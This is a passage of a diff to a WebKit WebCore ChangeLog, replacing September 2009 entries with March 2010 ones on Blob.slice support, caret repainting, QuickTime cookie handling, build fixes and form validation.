-        * inspector/front-end/ProfilesPanel.js:
-        (WebInspector.ProfilesPanel.prototype._populateProfiles):
+        Blob.slice support.
+        https://bugs.webkit.org/show_bug.cgi?id=32993
+        
+        The following semantic is adopted per the discussions on public-webapps:
+        1) File.slice() does a synchronous IO to capture the current size and
+           modification time and cache them in the resulting Blob.
+        2) Subsequent Blob operations, like Blob.slice and Blob.size simply
+           use the cached values.
+        3) When the underlying file data are accessed, like in XHR.send(), the
+           UA will check the cached modification time against the current
+           modification time to determine if the file has been changed or not.
+           An error or exception will be thrown if needed.
 
-2009-09-29  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+        Also add ENABLE_BLOB_SLICE feature define.
 
-        Rubberstamped by David Hyatt.
+        Test: http/tests/local/send-sliced-dragged-file.html
 
-        Fix to logic of earlier commit 48902.
+        * Configurations/FeatureDefines.xcconfig:
+        * GNUmakefile.am:
+        * WebCore.pri:
+        * html/Blob.cpp:
+        (WebCore::Blob::Blob):
+        (WebCore::Blob::size):
+        (WebCore::Blob::slice):
+        * html/Blob.h:
+        (WebCore::Blob::start):
+        (WebCore::Blob::length):
+        (WebCore::Blob::modificationTime):
+        * html/Blob.idl:
+        * platform/network/FormData.cpp:
+        (WebCore::FormData::deepCopy):
+        (WebCore::FormData::appendFile):
+        (WebCore::FormData::appendFileRange):
+        * platform/network/FormData.h:
+        (WebCore::FormDataElement::FormDataElement):
+        (WebCore::operator==):
+        * platform/network/mac/FormDataStreamMac.mm:
+        (WebCore::advanceCurrentStream):
+        (WebCore::openNextStream):
+        (WebCore::formCreate):
+        (WebCore::formOpen):
+        (WebCore::formRead):
+        (WebCore::setHTTPBody):
+        * xml/XMLHttpRequest.cpp:
+        (WebCore::XMLHttpRequest::send):
 
-        When merging two if's before committing, I forgot to invert the
-        bool check.
+2010-03-08  Daniel Bates  <dbates@rim.com>
 
-        * platform/network/qt/QNetworkReplyHandler.cpp:
-        (WebCore::ignoreHttpError):
+        Reviewed by Simon Fraser.
 
-2009-09-29  Stephen White  <senorblanco@chromium.org>
+        https://bugs.webkit.org/show_bug.cgi?id=34819
 
-        Unreviewed, build fix.
+        Fixes an issue where we repaint the caret rectangle even if the associated
+        selection is not in a content editable element. This is extraneous since the
+        caret is only visible when the selection is in a content editable element.
+        Hence, we should only repaint the caret rectangle when the associated selection
+        is in a content editable element.
 
-        Fixing Chromium build, following r48884.
+        Note, we always paint the caret when caret browsing is enabled.
 
-        [https://bugs.webkit.org/show_bug.cgi?id=29894]
+        Test: fast/repaint/no-caret-repaint-in-non-content-editable-element.html
 
-        * bindings/v8/V8AbstractEventListener.cpp:
-        (WebCore::V8AbstractEventListener::handleEvent):
-        * bindings/v8/V8AbstractEventListener.h:
-        * bindings/v8/V8WorkerContextEventListener.cpp:
-        (WebCore::V8WorkerContextEventListener::handleEvent):
-        * bindings/v8/V8WorkerContextEventListener.h:
+        * editing/SelectionController.cpp:
+        (WebCore::SelectionController::recomputeCaretRect): Modified to call method
+        SelectionController::shouldRepaintCaret.
+        (WebCore::SelectionController::shouldRepaintCaret): Added.
+        (WebCore::SelectionController::invalidateCaretRect): Modified to call method
+        SelectionController::shouldRepaintCaret.
+        * editing/SelectionController.h:
 
-2009-09-29  Kent Tamura  <tkent@chromium.org>
+2010-03-08  Eric Carlson  <eric.carlson@apple.com>
 
         Reviewed by Darin Adler.
 
-        Follows HTML5's maxLength change in September 2009.
-        - Change HTMLTextAreaElement.maxLength type to signed.
-        - HTMLTextAreaElement.maxLength returns -1 if maxlength= attribute is missing.
-        - HTMLTextAreaElement.maxLength and HTMLInputElement.maxLength
-          throw INDEX_SIZE_ERR for setting negative values.
-        https://bugs.webkit.org/show_bug.cgi?id=29796
-
-        * html/HTMLInputElement.cpp:
-        (WebCore::HTMLInputElement::setMaxLength):
-        * html/HTMLInputElement.h:
-        * html/HTMLInputElement.idl:
-        * html/HTMLTextAreaElement.cpp:
-        (WebCore::HTMLTextAreaElement::handleBeforeTextInsertedEvent):
-        (WebCore::HTMLTextAreaElement::maxLength):
-        (WebCore::HTMLTextAreaElement::setMaxLength):
-        * html/HTMLTextAreaElement.h:
-        * html/HTMLTextAreaElement.idl:
-
-2009-09-29  Dimitri Glazkov  <dglazkov@chromium.org>
-
-        No review, rolling out r48894, because review discussion was not complete.
-        http://trac.webkit.org/changeset/48894
-
-        * platform/sql/SQLiteTransaction.cpp:
-        (WebCore::SQLiteTransaction::begin):
-
-2009-09-29  Dirk Schulze  <krit@webkit.org>
-
-        Reviewed by Nikolas Zimmermann.
-
-        SVG Filter feComposite implementation is missing
-        [https://bugs.webkit.org/show_bug.cgi?id=28362]
-
-        feComposite implementation for SVG.
-
-        Test: svg/filters/feComposite.svg
-
-        * platform/graphics/filters/FEComposite.cpp:
-        (WebCore::arithmetic):
-        (WebCore::FEComposite::apply):
-
-2009-09-29  Dumitru Daniliuc  <dumi@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Starting all read-only transactions with an explicit BEGIN
-        DEFERRED command instead of BEGIN, since some ports (chromium)
-        might compile their own SQLite library and set BEGIN to BEGIN
-        IMMEDIATE by default; which would result in a deadlock in case of
-        two concurrent read-only transactions on the same DB, and would
-        unnecessarily delay other potential transactions to the same DB.
+        YouTube HTML5 video never starts playing on Windows
+        https://bugs.webkit.org/show_bug.cgi?id=33954
 
-        https://bugs.webkit.org/show_bug.cgi?id=29729
+        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.cpp:
+        (WebCore::MediaPlayerPrivate::rfc2616DateStringFromTime): New, create an rfc 2616 formatted
+        string for an absolute time value.
+        (WebCore::addCookieParam): New, add a cookie param and value to a string builder.
+        (WebCore::MediaPlayerPrivate::setUpCookiesForQuickTime): Copy cookies for the movie to
+            be loaded from CFNetwork into WinINet so they are available when QuickTime tries to
+            download the movie.
+        (WebCore::MediaPlayerPrivate::load): Call setupCookiesForQuickTime.
+        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.h:
 
-        * platform/sql/SQLiteTransaction.cpp:
-        (WebCore::SQLiteTransaction::begin):
+2010-03-08  Eric Uhrhane  <ericu@chromium.org>
 
-2009-09-29  Kenneth Russell  <kbr@google.com>
+        Reviewed by David Levin.
 
-        Reviewed by Dimitri Glazkov.
+        Remove the now-redundant Settings fields for the Database
+        https://bugs.webkit.org/show_bug.cgi?id=35763
 
-        Add support for run-time flag for 3D canvas
-        https://bugs.webkit.org/show_bug.cgi?id=29826
+        No new tests; this code isn't called.
 
-        * html/HTMLCanvasElement.cpp:
-        (WebCore::HTMLCanvasElement::getContext): Check page settings for
-        experimental WebGL flag before returning 3D graphics context.
+        * WebCore.base.exp:
         * page/Settings.cpp:
-        (WebCore::Settings::Settings): Initialize new flag to false.
-        (WebCore::Settings::setExperimentalWebGLEnabled):
-        * page/Settings.h: Set new flag.
-        (WebCore::Settings::experimentalWebGLEnabled): Return new flag.
-
-2009-09-29  Jeremy Orlow  <jorlow@chromium.org>
-
-        Reviewed by Darin Fisher.
-
-        Chromium needs to be able to override the way storage events are delivered - part 1
-        https://bugs.webkit.org/show_bug.cgi?id=29889
-
-        Chromium needs to be able to override the way storage events are delivered.
-        This replaced https://bugs.webkit.org/show_bug.cgi?id=29257 because it'll be
-        faster (no vtables and extra allocation) and somewhat cleaner (no dependency
-        injection).  This is necessary because Chromium needs to transport events across
-        a process barrier and then dispatch them without use of a Frame*.
-
-        This patch should be a no-op for all ports other than Chromium.
-
-        * WebCore.gypi:
-        * storage/StorageEventDispatcher.h: Added.
-
-2009-09-29  Oliver Hunt  <oliver@apple.com>
-
-        Reviewed by NOBODY (missed file).
-
-        Adding file missed in previous commit.
-
-        * manual-tests/gtk/resources/long_cell.cur: Copied from WebCore/dom/PositionCreationFunctions.h.
-
-2009-09-29  Dimitri Glazkov  <dglazkov@chromium.org>
-
-        Reviewed by Darin Fisher.
-
-        [V8] Correct an issue with XMLHttpRequest attribute event listeners never being cleared.
-        https://bugs.webkit.org/show_bug.cgi?id=29888
-
-        Test: LayoutTests/http/tests/xmlhttprequest/xmlhttprequest-abort-readyState-shouldDispatchEvent.html
-
-        * bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
-        (WebCore::getEventListener): Added isAttribute parameter.
-        (WebCore::ACCESSOR_SETTER): Made all event listener setters create attribute listeners.
-        (WebCore::CALLBACK_FUNC_DECL): Made addEventListener create object listener.
-
-2009-09-22  Martin Robinson  <martin.james.robinson@gmail.com>
-
-        Reviewed by Eric Seidel.
-
-        Fix corruption for non-square images.
-
-        [GTK] REGRESSION: BitmapImage::getGdkPixbuf fails for non-square images
-        https://bugs.webkit.org/show_bug.cgi?id=29654
-
-        Added an additional manual-test for this issue to the existing Gtk
-        cursor image test.
-
-        * manual-tests/gtk/cursor-image.html:
-        * manual-tests/gtk/resources/long_cell.cur: Added.
-        * platform/graphics/gtk/ImageGtk.cpp:
-        (WebCore::BitmapImage::getGdkPixbuf):
-
-2009-09-29  Alexey Proskuryakov  <ap@apple.com>
-
-        Reviewed by Timothy Hatcher.
-
-        Build fix - pass a proper ScriptExecutipnContext to getEventListenerHandlerBody()
-
-        * bindings/js/ScriptEventListener.cpp:
-        (WebCore::getEventListenerHandlerBody):
-        * bindings/js/ScriptEventListener.h:
-        * bindings/v8/ScriptEventListener.cpp:
-        (WebCore::getEventListenerHandlerBody):
-        * bindings/v8/ScriptEventListener.h:
-        * inspector/InspectorDOMAgent.cpp:
-        (WebCore::InspectorDOMAgent::buildObjectForEventListener):
-
-2009-09-29  Nate Chapin  <japhet@chromium.org>
-
-        Reviewed by Eric Seidel.
-
-        Ensure that we don't scroll lock to an anchor node after a
-        user-initiated scroll, even if that scroll doesn't propagate
-        all the way up to FrameView.
-
-        Test: fast/events/node-event-anchor-lock.html
-
-        * page/EventHandler.cpp: Call setFrameWasScrolledByUser() when a scroll is handled by a node rather than a frame.
-        (WebCore::EventHandler::scrollOverflow):
-        (WebCore::EventHandler::handleWheelEvent):
-        (WebCore::EventHandler::sendScrollEvent): Use setFrameWasScrolledByUser();
-        (WebCore::EventHandler::setFrameWasScrolledByUser): Split out of sendScrollEvent();
-        (WebCore::EventHandler::passMousePressEventToScrollbar):
-        * page/EventHandler.h: Declare setFrameWasScrolledByUser().
-
-2009-09-28  Alexey Proskuryakov  <ap@apple.com>
-
-        Reviewed by Darin Adler and Sam Weinig.
-
-        Onclick not fired for an element copied with cloneContents() or cloneNode()
-        https://bugs.webkit.org/show_bug.cgi?id=25130
-
-        The change here is that JS event listeners don't keep a reference to a global object from
-        where they were created, and instead take it as a parameter when parsing source code. Also,
-        the listener creation won't fail just because it happens for an element in a frameless
-        document.
-        Thus, moving nodes between documents no longer results in having incorrect registered
-        lazy event listeners on them.
-
-        Tests: fast/events/attribute-listener-cloned-from-frameless-doc-context-2.html
-               fast/events/attribute-listener-cloned-from-frameless-doc-context.html
-               fast/events/attribute-listener-cloned-from-frameless-doc.xhtml
-               fast/events/attribute-listener-extracted-from-frameless-doc-context-2.html
-               fast/events/attribute-listener-extracted-from-frameless-doc-context.html
-
-        * bindings/js/JSEventListener.cpp:
-        (WebCore::JSEventListener::JSEventListener): Don't take a reference to JSDOMGlobalObject.
-        (WebCore::JSEventListener::jsFunction): Take ScriptExecutionContext as a parameter for
-        getting to JSDOMGlobalObject. It's not used in base class, but is in JSLazyEventListner.
-        (WebCore::JSEventListener::markJSFunction): Don't mark the global object.
-        (WebCore::JSEventListener::handleEvent): Get global object from ScriptExecutionContext.
-        (WebCore::JSEventListener::reportError): Ditto.
-
-        * bindings/js/JSEventListener.h: (WebCore::JSEventListener::create): Don't keep a reference
-        to JSDOMGlobalObject.
-
-        * bindings/js/JSLazyEventListener.cpp: (WebCore::JSLazyEventListener::parseCode): Listener
-        creation was split between this function and ScriptEventListener; moved it here, as JS
-        global object can be different now.
-
-        * bindings/js/JSLazyEventListener.h: (WebCore::JSLazyEventListener::create): Keep source URL,
-        which can not be determined at parsing time.
-
-        * bindings/js/ScriptEventListener.cpp: (WebCore::createAttributeEventListener): Moved code
-        for listener creation to JSLazyEventListener. XSSAuditor code remains here, because tests
-        expect that errors are logged at document parsing time, and because I don't know what other
-        side effects moving it vould have.
-
-        * dom/EventListener.h: handleEvent() and reportError() now take ScriptExecutionContext,
-        because JSC needs a global context here.
-
-        * bindings/js/JSAbstractWorkerCustom.cpp:
-        (WebCore::JSAbstractWorker::addEventListener):
-        (WebCore::JSAbstractWorker::removeEventListener):
-        * bindings/js/JSDOMApplicationCacheCustom.cpp:
-        (WebCore::JSDOMApplicationCache::addEventListener):
-        (WebCore::JSDOMApplicationCache::removeEventListener):
-        * bindings/js/JSDOMGlobalObject.cpp:
-        (WebCore::JSDOMGlobalObject::createJSAttributeEventListener):
-        * bindings/js/JSDOMWindowCustom.cpp:
-        (WebCore::JSDOMWindow::addEventListener):
-        (WebCore::JSDOMWindow::removeEventListener):
-        * bindings/js/JSEventSourceCustom.cpp:
-        (WebCore::JSEventSource::addEventListener):
-        (WebCore::JSEventSource::removeEventListener):
-        * bindings/js/JSMessagePortCustom.cpp:
-        (WebCore::JSMessagePort::addEventListener):
-        (WebCore::JSMessagePort::removeEventListener):
-        * bindings/js/JSNodeCustom.cpp:
-        (WebCore::JSNode::addEventListener):
-        (WebCore::JSNode::removeEventListener):
-        * bindings/js/JSSVGElementInstanceCustom.cpp:
-        (WebCore::JSSVGElementInstance::addEventListener):
-        (WebCore::JSSVGElementInstance::removeEventListener):
-        * bindings/js/JSWorkerContextCustom.cpp:
-        (WebCore::JSWorkerContext::addEventListener):
-        (WebCore::JSWorkerContext::removeEventListener):
-        * bindings/js/JSXMLHttpRequestCustom.cpp:
-        (WebCore::JSXMLHttpRequest::addEventListener):
-        (WebCore::JSXMLHttpRequest::removeEventListener):
-        * bindings/js/JSXMLHttpRequestUploadCustom.cpp:
-        (WebCore::JSXMLHttpRequestUpload::addEventListener):
-        (WebCore::JSXMLHttpRequestUpload::removeEventListener):
-        * bindings/objc/ObjCEventListener.h:
-        * bindings/objc/ObjCEventListener.mm:
-        (WebCore::ObjCEventListener::handleEvent):
-        * bindings/scripts/CodeGeneratorJS.pm:
-        * dom/EventTarget.cpp:
-        (WebCore::EventTarget::fireEventListeners):
-        * inspector/InspectorDOMAgent.cpp:
-        (WebCore::InspectorDOMAgent::handleEvent):
-        * inspector/InspectorDOMAgent.h:
-        * inspector/InspectorDOMStorageResource.cpp:
-        (WebCore::InspectorDOMStorageResource::handleEvent):
-        * inspector/InspectorDOMStorageResource.h:
-        * loader/ImageDocument.cpp:
-        (WebCore::ImageEventListener::handleEvent):
-        * svg/animation/SVGSMILElement.cpp:
-        (WebCore::ConditionEventListener::handleEvent):
-        * workers/WorkerContext.cpp:
-        (WebCore::WorkerContext::reportException):
-        Don't pass global object to JSEventListener::create(), which no longer needs it.
-        Note that some of these functions still have an early return for null global object, which
-        can probably be removed in a later patch.
-        Pass ScriptExecutionContext to EventListener methods that now need it.
-
-        * bindings/scripts/CodeGeneratorCOM.pm: Don't force EventTarget implementation on Node -
-        it doesn't work yet (it didn't quite work before this patch, too, because it assumed that
-        any object implementing EventTarget COM interface originated from WebCore).
-
-        * dom/EventListener.idl: Just like in ObjC, EventListener should be a pure interface in
-        COM bindings.
-
-2009-09-28  Geoffrey Garen  <ggaren@apple.com>
-
-        Reviewed by Sam Weinig.
-
-        Removed virtual destructor from JSGlobalObjectData to eliminate pointer
-        fix-ups when accessing JSGlobalObject::d.
-        
-        Replaced with an explicit destructor function pointer.
-
-        * bindings/js/JSDOMGlobalObject.cpp:
-        (WebCore::JSDOMGlobalObject::destroyJSDOMGlobalObjectData):
-        * bindings/js/JSDOMGlobalObject.h:
-        (WebCore::JSDOMGlobalObject::JSDOMGlobalObjectData::JSDOMGlobalObjectData):
-
-2009-09-29  Kenneth Rohde Christiansen  <kenneth@webkit.org>
-
-        Reviewed by Simon Hausmann.
-
-        Don't rely on QNetworkReply::NetworkError codes, but
-        on HTTP error codes instead.
-
-        * platform/network/qt/QNetworkReplyHandler.cpp:
-        (WebCore::ignoreHttpError):
-        (WebCore::QNetworkReplyHandler::finish):
-
-2009-09-29  Kenneth Rohde Christiansen  <kenneth@webkit.org>
-
-        Reviewed by Simon Hausmann.
-
-        Use const references when using Qt's foreach.
+        (WebCore::Settings::Settings):
+        * page/Settings.h:
 
-        * platform/network/qt/QNetworkReplyHandler.cpp:
-        (WebCore::QNetworkReplyHandler::sendResponseIfNeeded):
+2010-03-07  David Levin  <levin@chromium.org>
 
-2009-09-29  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+        Chromium Linux build fix.
 
-        Reviewed by Simon Hausmann.
+        * platform/graphics/chromium/FontPlatformDataLinux.h: Add "class String" since a debug
+        only method returns a String.
 
-        Fix handling of QNetworkReply errors.
+2010-03-07  Mark Rowe  <mrowe@apple.com>
 
-        In the QNetworkReplyHandler::finish() a response was sent even when
-        the reply contained an error. This resulted in a sendResponseIfNeeded()
-        calling didReceiveResponse on the client, leading to the destruction
-        of the m_resourceHandle, discontinuing further processing in finish(),
-        and thus not calling didFail on the client.
+        Chromium build fix.
 
-        Instead it continued as everything went fine, and
-        FrameLoaderClientQt::dispatchDecidePolicyForMIMEType() changed the
-        policy to PolicyDownload due to not being able to show the non existing
-        MIMEType. As the download also obviously fails, it ended up with a
-        policy change error.
+        * platform/chromium/ClipboardChromium.cpp: Include Image.h since we're using WebCore::Image.
 
-        * platform/network/qt/QNetworkReplyHandler.cpp:
-        (WebCore::QNetworkReplyHandler::finish):
+2010-03-07  Mark Rowe  <mrowe@apple.com>
 
-2009-09-29  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+        Gtk build fix.
 
-        Reviewed by Simon Hausmann.
+        * platform/network/soup/ResourceHandleSoup.cpp: Include SharedBuffer.h since we're using WebCore::SharedBuffer.
 
-        The code for showing error pages when the response was
-        a 401/403/404, was not actually doing so. This patch
-        fixes that.
+2010-03-07  Mark Rowe  <mrowe@apple.com>
 
-        * platform/network/qt/QNetworkReplyHandler.cpp:
-        (WebCore::QNetworkReplyHandler::finish):
-
-2009-09-28  Alexey Proskuryakov  <ap@apple.com>
+        Gtk build fix.
 
-        Reviewed by Brady Eidson.
+        * platform/graphics/gtk/ImageGtk.cpp: Include SharedBuffer.h since we're using WebCore::SharedBuffer.
 
-        <rdar://problem/7259965> REGRESSION: http/tests/xmlhttprequest/cross-origin-authorization.html
-        is failing/crashing intermittently
-        https://bugs.webkit.org/show_bug.cgi?id=29322
+2010-03-07  Mark Rowe  <mrowe@apple.com>
 
-        This was caused by CStringBuffer::encodeBase64() returning a buffer that wasn't zero terminated.
-        The code had other issues as well, so I removed it altogether:
-        - it claimed to avoid some buffer copies, but it didn't;
-        - and I don't think that base64 encoding should be part of CString interface.
+        Fix builds where USE_CG_SHADING is set.
 
-        * platform/network/mac/ResourceHandleMac.mm:
-        (WebCore::encodeBasicAuthorization): Encode username and password using Base64.h directly.
-        (WebCore::ResourceHandle::start): Use encodeBasicAuthorization().
-        (+[WebCoreSynchronousLoader loadRequest:allowStoredCredentials:returningResponse:error:]): Ditto.
-        (-[WebCoreSynchronousLoader connection:willSendRequest:redirectResponse:]): Extended logging
-        to synchronous case.
-        (-[WebCoreSynchronousLoader connectionShouldUseCredentialStorage:]): Ditto.
-        (-[WebCoreSynchronousLoader connection:didReceiveAuthenticationChallenge:]): Ditto.
-        (-[WebCoreSynchronousLoader connection:didReceiveResponse:]): Ditto.
-        (-[WebCoreSynchronousLoader connection:didReceiveData:]): Ditto.
-        (-[WebCoreSynchronousLoader connectionDidFinishLoading:]): Ditto.
-        (-[WebCoreSynchronousLoader connection:didFailWithError:]): Ditto.
-
-        * platform/network/cf/ResourceHandleCFNet.cpp: Matched Mac changes.
-
-        * platform/text/CString.cpp:
-        * platform/text/CString.h:
-        (WebCore::CStringBuffer::create):
-        (WebCore::CStringBuffer::CStringBuffer):
-        Removed code that was added for Base64 in r48363.
+        * platform/graphics/cg/GradientCG.cpp: Include wtf/RetainPtr.h since WTF::RetainPtr is used when USE_CG_SHADING is set.
 
-2009-09-29  Jedrzej Nowacki  <jedrzej.nowacki@nokia.com>
+2010-03-07  Mark Rowe  <mrowe@apple.com>
 
-        Reviewed by Simon Hausmann.
+        Windows build fix.  Add some required includes.
 
-        Fix typo in Localizations.cpp
+        * platform/graphics/win/ImageCGWin.cpp:
+        * platform/network/cf/ResourceHandleCFNet.cpp:
+        * platform/win/ClipboardWin.cpp:
 
-        https://bugs.webkit.org/show_bug.cgi?id=29872
+2010-03-07  Mark Rowe  <mrowe@apple.com>
 
-        * platform/qt/Localizations.cpp:
-        (WebCore::localizedMediaControlElementHelpText):
+        Gtk build fix.
 
-2009-09-29  Simon Hausmann  <simon.hausmann@nokia.com>
+        * platform/graphics/GraphicsContext.h: Include wtf/PassOwnPtr.h since some platforms use WTF::PassOwnPtr in this header.
 
-        Reviewed by Tor Arne Vestbø.
+2010-03-07  Mark Rowe  <mrowe@apple.com>
 
-        Make the XSLT conditional in DOMWindow.idl's xsltProcessor
-        attribute conditional in the generated files, similar to
-        r44116.
+        Qt build fix.
 
-        * page/DOMWindow.idl:
+        * platform/network/qt/ResourceHandleQt.cpp: Include SharedBuffer.h since we're using WebCore::SharedBuffer.
 
-2009-09-29  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+2010-03-07  Mark Rowe  <mrowe@apple.com>
 
-        Reviewed by Simon Hausmann and Tor Arne Vestbø.
+        Gtk build fix.
 
-        Use the ResourceError as it is supposed to and handle
-        not HTTP errors from QNetworkReply.
+        * platform/gtk/ClipboardGtk.cpp: Include Image.h since we're using WebCore::Image.
 
-        Thanks to Adam Roben for his input.
+2010-03-07  Mark Rowe  <mrowe@apple.com>
 
-        * platform/network/qt/QNetworkReplyHandler.cpp:
-        (WebCore::QNetworkReplyHandler::finish):
+        Rubber-stamped by Cameron Zwarich.
 
-2009-09-29  Pavel Feldman  <pfeldman@chromium.org>
+        Remove unnecessary includes from header files, adding them to the handful of implementation files that need them.
 
-        Reviewed by Timothy Hatcher.
+        * loader/CachedCSSStyleSheet.cpp:
+        * loader/CachedFont.cpp:
+        * loader/CachedImage.cpp:
+        * loader/CachedResource.cpp:
+        * loader/CachedResource.h:
+        * loader/CachedScript.cpp:
+        * loader/CachedXSLStyleSheet.cpp:
+        * loader/icon/IconFetcher.cpp:
+        * loader/loader.cpp:
+        * page/Page.cpp:
+        * platform/graphics/Image.cpp:
+        * platform/graphics/Image.h:
+        * platform/graphics/cg/GraphicsContextPlatformPrivateCG.h:
+        * platform/graphics/cg/PDFDocumentImage.cpp:
+        * platform/graphics/cg/PathCG.cpp:
+        * platform/graphics/mac/ImageMac.mm:
 
-        Web Inspector: Encapsulate JS listeners specifics into ScriptEventListener.
+2010-03-07  Mark Rowe  <mrowe@apple.com>
 
-        https://bugs.webkit.org/show_bug.cgi?id=29816
+        Chromium build fix.
 
-        * bindings/js/ScriptEventListener.cpp:
-        (WebCore::getEventListenerHandlerBody):
-        * bindings/js/ScriptEventListener.h:
-        * bindings/v8/ScriptEventListener.cpp:
-        (WebCore::getEventListenerHandlerBody):
-        * bindings/v8/ScriptEventListener.h:
-        * inspector/InspectorDOMAgent.cpp:
-        (WebCore::InspectorDOMAgent::buildObjectForEventListener):
+        * platform/chromium/ChromiumDataObject.h: Include SharedBuffer.h since the inline constructor of this
+        class means that the pointed-to type of the RefPtr member must be available.
 
-2009-09-29  Xan Lopez  <xlopez@igalia.com>
+2010-03-07  Mark Rowe  <mrowe@apple.com>
 
-        Unreviewed attempt to fix the build.
+        Qt build fix.
 
-        * page/Settings.cpp:
-        (WebCore::Settings::Settings):
+        * platform/network/qt/DnsPrefetchHelper.cpp: Include PlatformString.h since we're using WebCore::String.
 
-2009-09-28  Fumitoshi Ukai  <ukai@chromium.org>
+2010-03-07  Kent Tamura  <tkent@chromium.org>
 
         Reviewed by Eric Seidel.
 
-        Add experimentalWebSocketsEnabled in Settings.
-        https://bugs.webkit.org/show_bug.cgi?id=28941
-
-        * WebCore.base.exp:
-        * bindings/js/JSDOMWindowCustom.cpp:
-        (WebCore::JSDOMWindow::webSocket):
-        * bindings/v8/V8DOMWrapper.cpp:
-        (WebCore::V8DOMWrapper::getConstructor):
-        * bindings/v8/custom/V8WebSocketCustom.cpp:
-        * page/Settings.cpp:
-        (WebCore::Settings::Settings):
-        (WebCore::Settings::setExperimentalWebSocketsEnabled):
-        * page/Settings.h:
-        (WebCore::Settings::experimentalWebSocketsEnabled):
-        
-2009-09-11  Fumitoshi Ukai  <ukai@chromium.org>
+        Fix a bug that validity.valueMissing for a radio button with required
+        in a form element always returns true.
+        https://bugs.webkit.org/show_bug.cgi?id=35472
 
-        Reviewed by Adam Barth.
-
-        Add platform code to support WebSocket for chromium.
-        https://bugs.webkit.org/show_bug.cgi?id=29171
-
-        To build within chromium tree, it requires a patch in bug 29174.
-        Real implementation will be landed in chromium tree.
-
-        * WebCore.gypi:
-        * platform/network/chromium/SocketStreamError.h: Added.
-        (WebCore::SocketStreamError::SocketStreamError):
-        * platform/network/chromium/SocketStreamHandle.h: Added.
-        (WebCore::SocketStreamHandle::create):
-
-2009-09-28  Dan Bernstein  <mitz@apple.com>
-
-        Reviewed by Sam Weinig.
-
-        <rdar://problem/7157288> Crash in RenderStyle::computedLineHeight()
-        when Times New Roman is not installed
-
-        * platform/graphics/win/FontCacheWin.cpp:
-        (WebCore::FontCache::getLastResortFallbackFont): If Times New Roman is
-        not available, use the Windows default GUI font.
+        Test: fast/forms/ValidityState-valueMissing-radio.html
 
-2009-09-28  Jian Li  <jianli@chromium.org>
-
-        Reviewed by David Levin.
-
-        Do not add platform-specific methods to cross-platform header
-        FileSystem.h per Darin's feedback for 29109.
-        https://bugs.webkit.org/show_bug.cgi?id=29830
-
-        * platform/FileSystem.h:
-        * platform/chromium/DragDataChromium.cpp:
-        (WebCore::DragData::asURL):
-        * platform/chromium/FileSystemChromium.cpp:
-
-2009-09-28  Dumitru Daniliuc  <dumi@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Register Chromium's VFSs with a proper sqlite3_io_methods
-        finder. This should only affect the POSIX implementation. The
-        Windows change is included for consistency and in case sqlite
-        starts using something similar in its Windows VFS in the future.
-
-        https://bugs.webkit.org/show_bug.cgi?id=29743
-
-        * platform/sql/chromium/SQLiteFileSystemChromiumPosix.cpp:
-        (WebCore::SQLiteFileSystem::registerSQLiteVFS):
-        * platform/sql/chromium/SQLiteFileSystemChromiumWin.cpp:
-        (WebCore::SQLiteFileSystem::registerSQLiteVFS):
-
-2009-09-28  Nate Chapin  <japhet@chromium.org>
-
-        Reviewed by Adam Barth.
-
-        Change the V8 bindings' handling of window.toString(),
-        so we return [object DOMWindow] (like JSC), not [object global].
-
-        https://bugs.webkit.org/show_bug.cgi?id=29742
-
-        This will fix a couple of Chromium port test failures and enable us to
-        use the default expectations for a bunch more.
-
-        * bindings/v8/custom/V8DOMWindowCustom.cpp: Use the DOMWindow wrapper instead
-        of the global object wrapper when it's available in the DOMWindow toString callback.
-
-2009-09-28  Nate Chapin  <japhet@chromium.org>
-
-        Rubber stamped by David Levin.
-
-        Chromium build fix, add back in #include of V8Proxy.h in V8WebKitPointConstructor.cpp.
-
-        * bindings/v8/custom/V8WebKitPointConstructor.cpp: Re-include V8Proxy.h.
-
-2009-09-28  Geoffrey Garen  <ggaren@apple.com>
-
-        Reviewed by Darin Adler.
-
-        NotNullPassRefPtr: smart pointer optimized for passing references that are not null
-        https://bugs.webkit.org/show_bug.cgi?id=29822
-        
-        Added NotNullPassRefPtr, and deployed it in all places that initialize
-        JavaScript objects.
-
-        * bindings/js/DOMObjectWithSVGContext.h:
-        (WebCore::DOMObjectWithSVGContext::DOMObjectWithSVGContext):
-        * bindings/js/JSDOMBinding.cpp:
-        (WebCore::cacheDOMStructure):
-        * bindings/js/JSDOMBinding.h:
-        (WebCore::DOMObject::DOMObject):
-        (WebCore::DOMObjectWithGlobalPointer::DOMObjectWithGlobalPointer):
-        (WebCore::DOMConstructorObject::DOMConstructorObject):
-        (WebCore::DOMConstructorWithDocument::DOMConstructorWithDocument):
-        * bindings/js/JSDOMGlobalObject.cpp:
-        (WebCore::JSDOMGlobalObject::JSDOMGlobalObject):
-        * bindings/js/JSDOMGlobalObject.h:
-        * bindings/js/JSDOMWindowBase.cpp:
-        (WebCore::JSDOMWindowBase::JSDOMWindowBase):
-        * bindings/js/JSDOMWindowBase.h:
-        * bindings/js/JSHTMLAllCollection.h:
-        (WebCore::JSHTMLAllCollection::JSHTMLAllCollection):
-        * bindings/js/JSInspectedObjectWrapper.cpp:
-        (WebCore::JSInspectedObjectWrapper::JSInspectedObjectWrapper):
-        * bindings/js/JSInspectedObjectWrapper.h:
-        * bindings/js/JSInspectorCallbackWrapper.cpp:
-        (WebCore::JSInspectorCallbackWrapper::JSInspectorCallbackWrapper):
-        * bindings/js/JSInspectorCallbackWrapper.h:
-        * bindings/js/JSQuarantinedObjectWrapper.cpp:
-        (WebCore::JSQuarantinedObjectWrapper::JSQuarantinedObjectWrapper):
-        * bindings/js/JSQuarantinedObjectWrapper.h:
-        * bindings/js/JSWorkerContextBase.cpp:
-        (WebCore::JSWorkerContextBase::JSWorkerContextBase):
-        * bindings/js/JSWorkerContextBase.h:
-        * bindings/scripts/CodeGeneratorJS.pm:
-        * bridge/runtime_object.cpp:
-        (JSC::RuntimeObjectImp::RuntimeObjectImp):
-        * bridge/runtime_object.h:
-
-2009-09-28  Nate Chapin  <japhet@chromium.org>
+        * html/HTMLInputElement.cpp:
+        (WebCore::checkedRadioButtons): Move the location to be used by valueMissing().
+        (WebCore::HTMLInputElement::valueMissing):
